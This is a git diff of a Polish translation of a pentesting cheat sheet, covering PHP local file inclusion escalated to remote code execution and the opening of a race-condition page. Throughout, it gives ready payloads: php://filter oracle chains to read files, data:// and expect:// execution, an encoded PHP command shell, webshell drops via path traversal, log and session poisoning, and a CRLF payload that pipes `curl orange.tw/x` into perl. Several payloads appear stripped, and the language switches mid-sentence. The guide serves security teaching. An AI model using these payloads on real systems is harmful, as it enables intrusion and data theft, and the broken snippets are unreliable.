kodowania (`convert.iconv..`). Aby uzyskać **listę wszystkich kodowań** obsługiwanych, uruchom w konsoli: `iconv -l` > [!WARNING] -> Nadużywając filtru `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, by funkcja taka jak include przetworzyła dowolny tekst. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Nadużywając filtra konwersji `convert.iconv.*`, można **wygenerować dowolny tekst**, co może być użyteczne do zapisania dowolnego tekstu lub sprawienia, że funkcja taka jak include przetworzy dowolny tekst. Po więcej informacji zobacz [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Kompresuje zawartość (przydatne przy exfiltrating dużej ilości informacji) +- `zlib.deflate`: Kompresuje zawartość (przydatne przy eksfiltrowaniu dużej ilości informacji) - `zlib.inflate`: Dekompresuje dane - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Przestarzałe @@ -242,7 +242,7 @@ PHP filters allow perform basic **operacje modyfikacji na danych** zanim zostan - Other Filters - Uruchamiając w php `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**: - `consumed` -- `dechunk`: odwraca kodowanie chunked HTTP +- `dechunk`: odwraca HTTP chunked encoding - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> Część "php://filter" jest niewrażliwa na wielkość liter +> Część "php://filter" nie rozróżnia wielkości liter -### Using php filters as oracle to read arbitrary files +### Użycie php filters jako oracle do odczytu dowolnych plików -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta bazuje na **boolean exfiltration of the file (char by char) using php filters** jako oracle. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, żeby php zgłosił wyjątek. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) proponuje technikę odczytu lokalnego pliku bez zwracania jego zawartości przez serwer. Technika opiera się na **boolean exfiltration of the file (char by char) using php filters as oracle**. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, by php rzucił wyjątek. -W oryginalnym artykule znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótkie podsumowanie: +W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie: -- Użyj kodeka **`UCS-4LE`**, aby pozostawić początkowy znak tekstu na swoim miejscu i sprawić, że rozmiar ciągu będzie rósł wykładniczo. -- Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta poprawnie**, php wywoła **błąd**. -- Filtr **dechunk** **usunie wszystko jeśli pierwszy znak nie jest hex**, więc możemy stwierdzić, czy pierwszy znak jest hex. -- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco wiele transformacji, aby przestała być znakiem heksadecymalnym. Ponieważ jeśli jest hex, dechunk jej nie usunie, a początkowa bomba spowoduje błąd php. -- Kodek **convert.iconv.UNICODE.CP930** zmienia każdą literę na następną (więc po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to np. `a`, ponieważ jeśli zastosujemy ten kodek 6 razy a->b->c->d->e->f->g, litera przestaje być znakiem heksadecymalnym, więc dechunk jej nie usunie, a błąd php zostanie wywołany, ponieważ mnoży się z początkową bombą. -- Używając innych transformacji jak **rot13** na początku, możliwe jest leak innych znaków jak n, o, p, q, r (i inne kodeki mogą być użyte, aby przesunąć inne litery do zakresu hex). -- Gdy początkowy znak jest cyfrą, trzeba zakodować go base64 i leak pierwsze 2 litery, aby leak tę liczbę. -- Końcowym problemem jest ustalenie **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność pamięci, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić porządek znaków i umieścić na pierwszej pozycji inne litery z tekstu. -- A aby móc uzyskać **further data** pomysł polega na **generate 2 bytes of junk data at the beginning** przy użyciu **convert.iconv.UTF16.UTF16**, zastosować **UCS-4LE** aby to **pivot with the next 2 bytes**, i d**usuń dane aż do śmieciowych danych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to aż dotrzesz do żądanego bitu do leak. +- Użyj kodeka **`UCS-4LE`** aby umieścić wiodący znak tekstu na początku i sprawić, że rozmiar łańcucha będzie rosnąć wykładniczo. +- To posłuży do wygenerowania **tekstu tak dużego, że gdy wstępna litera zostanie odgadnięta poprawnie** php wywoła **błąd**. +- Filtr **dechunk** usunie wszystko **if the first char is not an hexadecimal**, więc możemy wiedzieć czy pierwszy char jest hex. +- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu obserwując, kiedy wykonamy wystarczająco dużo transformacji, by przestała być znakiem hex. Ponieważ jeśli jest hex, dechunk jej nie usunie, a początkowa bomba spowoduje błąd php. +- Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to `a`, ponieważ jeśli zastosujemy ten kodek 6 razy: a->b->c->d->e->f->g, litera przestaje być znakiem hex, więc dechunk jej nie usuwa, a błąd php zostaje wywołany, bo mnoży się z początkową bombą. +- Używając innych transformacji jak **rot13** na początku, możliwe jest leak innych znaków jak n, o, p, q, r (i inne kodeki mogą być użyte do przesunięcia innych liter do zakresu hex). +- Gdy pierwszy char jest cyfrą, trzeba zakodować go w base64 i leak the 2 first letters to leak the number. +- The final problem is to see **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność pamięci takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** można zmienić kolejność znaków i umieścić na pierwszej pozycji inne litery tekstu. +- A żeby móc uzyskać **further data** pomysł jest **generate 2 bytes of junk data at the beginning** z użyciem **convert.iconv.UTF16.UTF16**, zastosować **UCS-4LE** żeby to **pivot with the next 2 bytes**, i d**elete the data until the junk data** (to usunie pierwsze 2 bajty oryginalnego tekstu). Kontynuuj to aż dojdziesz do żądanego bitu do leak. -W artykule opublikowano również narzędzie automatyzujące to: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +W poście udostępniono też narzędzie do automatyzacji: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Ten wrapper pozwala uzyskać dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików: +Ten wrapper pozwala na dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatny do exfiltrate zawartości otwartych plików: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku) +Możesz też użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być użyteczne w ataku) -### zip:// and rar:// +### zip:// i rar:// -Prześlij plik Zip lub Rar zawierający PHPShell i uzyskaj do niego dostęp.\ -Aby móc nadużyć rar protocol, **musi on być specjalnie aktywowany**. +Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\ +Aby móc nadużyć protokołu rar, musi on być **specjalnie aktywowany**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Zwróć uwagę, że ten protokół jest ograniczony przez konfiguracje PHP **`allow_url_open`** i **`allow_url_include`** +Należy pamiętać, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`** ### expect:// -Expect musi być aktywowany. Możesz wykonać kod, używając tego: +Expect musi być aktywowany. Możesz wykonać code za pomocą tego: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING] -> Ta technika ma zastosowanie w przypadkach, gdy **kontrolujesz** **file path** **PHP function**, która **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**) — zawartość nie jest wyświetlana. +> Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która będzie **dostępować do pliku**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana. -W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal może być nadużyte przez PHP filter, aby **exfiltrate the content of a file via an error oracle**. +W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal może być wykorzystany przez PHP filter do **exfiltrate the content of a file via an error oracle**. -W skrócie, technika polega na użyciu kodowania **"UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**. +W skrócie, technika używa kodowania **"UCS-4LE"** aby uczynić zawartość pliku tak **dużą**, że **funkcja PHP otwierająca** plik wywoła **błąd**. -Następnie, aby leak pierwszego znaku, używa się filtra **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a na końcu stosuje się filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE**, aby **umieścić inne znaki na początku i leakować je**. +Następnie, aby leak pierwszego znaku, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a na końcu filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane do **place other chars at the beggining and leak them**. -**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +Funkcje, które mogą być podatne: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -For the technical details check the mentioned post! +Szczegóły techniczne znajdziesz we wspomnianym poście! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. +Gdy kod po stronie serwera, który przyjmuje/przesyła pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez canonicalising i walidacji, segmenty `..` oraz ścieżki absolutne mogą wydostać się z zamierzonego katalogu i spowodować arbitralne zapisanie pliku. Jeśli możesz umieścić payload w katalogu dostępnym z webu, zwykle uzyskujesz niezautoryzowane RCE poprzez upuszczenie webshell. -Typical exploitation workflow: -- Zidentyfikuj write primitive w endpointcie lub background workerze, który akceptuje ścieżkę/nazwę pliku i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.). -- Określ web-exposed directories. Typowe przykłady: +Typowy przebieg eksploatacji: +- Identify a write primitive w endpointzie lub background workerze, który akceptuje ścieżkę/nazwę pliku i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Określ katalogi dostępne z webu. Przykłady: - Apache/PHP: `/var/www/html/` - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Stwórz traversal path, który wydostanie się z zamierzonego storage directory do webroot i dołącz swoją zawartość webshell. -- Otwórz wrzucony payload w przeglądarce i wykonaj polecenia. +- Sporządź traversal path, który wydostanie się z zamierzonego katalogu przechowywania do webroot i dołącz zawartość webshell. +- Przejdź do upuszczonego payload i wykonaj polecenia. -Notes: -- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. -- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. +Uwagi: +- Usługa podatna, która wykonuje zapis, może nasłuchiwać na porcie nie-HTTP (np. JMF XML listener na TCP 4004). Główny portal webowy (inny port) później posłuży Twemu payload. +- Na stosach Java te zapisy plików często są implementowane przez proste konkatenacje `File`/`Paths`. Brak canonicalisation/allow-listing to podstawowy błąd. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out);
``` -Hardening that defeats this class of bugs: -- Rozwiązuj do kanonicznej ścieżki i wymuszaj, że jest potomkiem dozwolonego katalogu bazowego. +Środki hardeningowe, które eliminują tę klasę błędów: +- Normalizuj do ścieżki kanonicznej i wymuszaj, by była potomkiem katalogu bazowego znajdującego się na liście dozwolonych. - Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików. -- Uruchamiaj writer jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych. +- Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych. ## Remote File Inclusion Wyjaśniono wcześniej, [**follow this link**](#remote-file-inclusion). -### Via Apache/Nginx log file +### Przez plik logu Apache/Nginx -Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w parametrze **GET** php shell taki jak **``** i dołączyć ten plik +Jeśli serwer Apache lub Nginx jest **podatny na LFI** wewnątrz funkcji include możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shella jak **``** i dołączyć ten plik > [!WARNING] -> Zwróć uwagę, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmienione na string "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**. +> Zauważ, że **jeśli użyjesz double quotes** dla shell zamiast **simple quotes**, double quotes zostaną zmodyfikowane dla ciągu "_**quote;**_", **PHP rzuci błąd** i **nic więcej nie zostanie wykonane**. > -> Upewnij się też, że **write correctly the payload** albo PHP będzie wyrzucać błąd za każdym razem, gdy będzie próbował załadować plik logu i nie będziesz mieć drugiej szansy. +> Upewnij się też, że **poprawnie zapisujesz payload** albo PHP wygeneruje błąd za każdym razem, gdy będzie próbował załadować plik logu i nie będziesz miał drugiej szansy. -To można też zrobić w innych logach, ale **uważaj,** kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell można wstawić do tego nagłówka.\ -Other possible log paths: +To można też zrobić w innych logach, ale **uważaj,** kod w logach może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest on dekodowany w logach. PHPShell można wstawić do tego nagłówka.\ +Inne możliwe ścieżki logów: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -501,29 +501,29 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Przez e-mail -**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `` i spróbuj dołączyć mail użytkownika ścieżką taką jak **`/var/mail/`** lub **`/var/spool/mail/`** +**Wyślij e-mail** do wewnętrznego konta (user@localhost) zawierający Twój PHP payload, np. `` i spróbuj dołączyć mail użytkownika ze ścieżką taką jak **`/var/mail/`** lub **`/var/spool/mail/`** -### Przez /proc/*/fd/* +### Przez /proc/\*/fd/\* -1. Wgraj dużo shells (na przykład: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), z $PID = PID procesu (can be brute forced) i $FD = deskryptor pliku (can be brute forced too) +1. Wgraj wiele shells (na przykład: 100) +2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gdzie $PID = PID procesu (może być brute forced) a $FD to deskryptor pliku (może być brute forced również) ### Przez /proc/self/environ -Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ +Podobnie jak w przypadku pliku logu — wyślij payload w User-Agent; zostanie on odzwierciedlony w pliku /proc/self/environ ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### Via upload -Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np : `` ). +Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np.: `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Aby plik pozostał czytelny najlepiej wstrzyknąć do metadanych obrazów/doc/pdf +Aby plik pozostał czytelny, najlepiej wstrzyknąć do metadanych obrazów/doc/pdf -### Przez przesłanie pliku ZIP +### Przez przesłanie pliku Zip Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp: ```python @@ -536,7 +536,7 @@ Sprawdź, czy strona używa PHP Session (PHPSESSID) Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -W PHP te sesje są przechowywane w _/var/lib/php5/sess\\_\[PHPSESSID]\_ plikach +W PHP te sesje są przechowywane w plikach _/var/lib/php5/sess\\_\[PHPSESSID]\_. ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -551,26 +551,26 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ``` ### Przez ssh -Jeśli ssh jest aktywne, sprawdź, którego użytkownika używa system (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\/.ssh/id_rsa** +Jeśli ssh jest aktywne, sprawdź, którego użytkownika używa (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\/.ssh/id_rsa** -### **Przez** **vsftpd** _**logs**_ +### **Przez** **vsftpd** _**logi**_ -Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. Jeżeli istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: +Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdy istnieje podatność Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki: -1. Wstrzyknij payload PHP do pola username podczas procesu logowania. +1. Wstrzyknij PHP payload do pola username podczas procesu logowania. 2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_. ### Przez php base64 filter (using base64) -Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz tego użyć, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload: +Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz użyć tego, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Przez php filters (bez pliku) +### Przez php filters (no file needed) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **php filters to generate arbitrary content** jako wynik. Co w praktyce oznacza, że możesz **generate arbitrary php code** dla include **bez potrzeby zapisu** go do pliku. {{#ref}} @@ -579,7 +579,7 @@ lfi2rce-via-php-filters.md ### Przez segmentation fault -**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it. +**Wyślij** plik, który zostanie zapisany jako **temporary** w `/tmp`, następnie w **tym samym żądaniu** wywołaj **segmentation fault**, a wtedy **plik tymczasowy nie zostanie usunięty** i możesz go odnaleźć. {{#ref}} @@ -588,7 +588,7 @@ lfi2rce-via-segmentation-fault.md ### Przez Nginx temp file storage -If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: +Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki: {{#ref}} @@ -597,7 +597,7 @@ lfi2rce-via-nginx-temp-files.md ### Przez PHP_SESSION_UPLOAD_PROGRESS -If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: +Jeśli znalazłeś **Local File Inclusion** nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w danych **multipart POST**, PHP **włączy sesję za Ciebie**. Możesz to nadużyć, aby uzyskać RCE: {{#ref}} @@ -606,7 +606,7 @@ via-php_session_upload_progress.md ### Przez temp file uploads in Windows -If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE: +Jeśli znalazłeś **Local File Inclusion**, a serwer działa na **Windows**, możesz uzyskać RCE: {{#ref}} @@ -615,13 +615,13 @@ lfi2rce-via-temp-file-uploads.md ### Przez `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w php docker images. Co więcej, możliwe jest przekazanie argumentów do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. Zobacz także [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) i [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Poniższy przykład wykorzystuje vuln CRLF, aby uzyskać RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Poniższe wykorzystuje podatność CRLF do uzyskania RCE (z [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a @@ -630,7 +630,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php ``` ### Przez phpinfo() (file_uploads = on) -Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on możesz uzyskać RCE: +Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file_uploads = on, możesz uzyskać RCE: {{#ref}} @@ -639,7 +639,7 @@ lfi2rce-via-phpinfo.md ### Przez compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Jeśli znalazłeś **Local File Inclusion** i możesz exfiltrate the path pliku tymczasowego, ALE **serwer** sprawdza, czy **plik do załączenia ma oznaczenia PHP**, możesz spróbować obejść tę kontrolę przy użyciu tej **Race Condition**: +Jeśli znalazłeś **Local File Inclusion** i możesz **exfiltrate the path** pliku tymczasowego, ALE **server** **checking**, czy **file to be included has PHP marks**, możesz spróbować **bypass that check** używając tej **Race Condition**: {{#ref}} @@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md ### Przez eternal waiting + bruteforce -Jeśli możesz nadużyć LFI, aby upload temporary files i spowodować, że serwer zawiesi wykonanie PHP (hang), możesz następnie brute force nazwy plików przez godziny, aby znaleźć plik tymczasowy: +Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że **server** **hang** wykonanie PHP, możesz wtedy przez wiele godzin **brute force filenames** żeby znaleźć plik tymczasowy: {{#ref}} @@ -657,15 +657,15 @@ lfi2rce-via-eternal-waiting.md ### Do Fatal Error -Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam 2 time, aby wywołać ten błąd). +Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd). -**Nie wiem, jak to jest przydatne, ale może być.**\ -_Nawet jeśli spowodujesz PHP Fatal Error, PHP temporary files uploaded są usuwane._ +**Nie wiem, jak to może być przydatne, ale może być.**\ +_Nawet jeśli spowodujesz PHP Fatal Error, przesłane tymczasowe pliki PHP zostaną usunięte._
-## Referencje +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 59202badf..690bc8698 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -5,54 +5,54 @@ > [!WARNING] > Aby uzyskać dogłębne zrozumienie tej techniki, sprawdź oryginalny raport pod adresem [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) -## Ulepszanie ataków Race Condition +## Enhancing Race Condition Attacks -Główną przeszkodą w wykorzystaniu race condition jest zapewnienie, że wiele żądań jest obsługiwanych jednocześnie, z **bardzo małą różnicą w czasie ich przetwarzania — najlepiej poniżej 1ms**. +Główną przeszkodą w wykorzystaniu race condition jest zapewnienie, że wiele żądań jest obsługiwanych jednocześnie, z **bardzo małą różnicą w czasie ich przetwarzania — najlepiej mniejszą niż 1ms**. -Poniżej znajdziesz kilka technik synchronizacji żądań: +Poniżej znajdują się techniki synchronizacji żądań: #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization -- **HTTP/2**: Pozwala wysyłać dwa żądania przez jedno połączenie TCP, zmniejszając wpływ jittera sieciowego. Jednak ze względu na różnice po stronie serwera, dwa żądania mogą nie wystarczyć do stabilnego wykorzystania race condition. -- **HTTP/1.1 'Last-Byte Sync'**: Umożliwia wstępne wysłanie większości części 20–30 żądań, wstrzymując mały fragment, który następnie jest wysyłany razem, co pozwala na jednoczesne dotarcie do serwera. +- **HTTP/2**: Umożliwia wysłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ jittera sieciowego. Jednak z powodu różnic po stronie serwera dwa żądania mogą nie wystarczyć do konsekwentnego exploita race condition. +- **HTTP/1.1 'Last-Byte Sync'**: Pozwala na wcześniejsze wysłanie większości części 20–30 żądań, wstrzymując mały fragment, który następnie jest wysyłany jednocześnie, osiągając równoczesne dotarcie do serwera. -**Przygotowanie do Last-Byte Sync** obejmuje: +**Preparation for Last-Byte Sync** obejmuje: -1. Wysłanie nagłówków i danych body z pominięciem ostatniego bajtu bez zamykania strumienia. -2. Wstrzymanie na 100ms po wysłaniu początkowym. -3. Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do grupowania ostatnich ramek. -4. 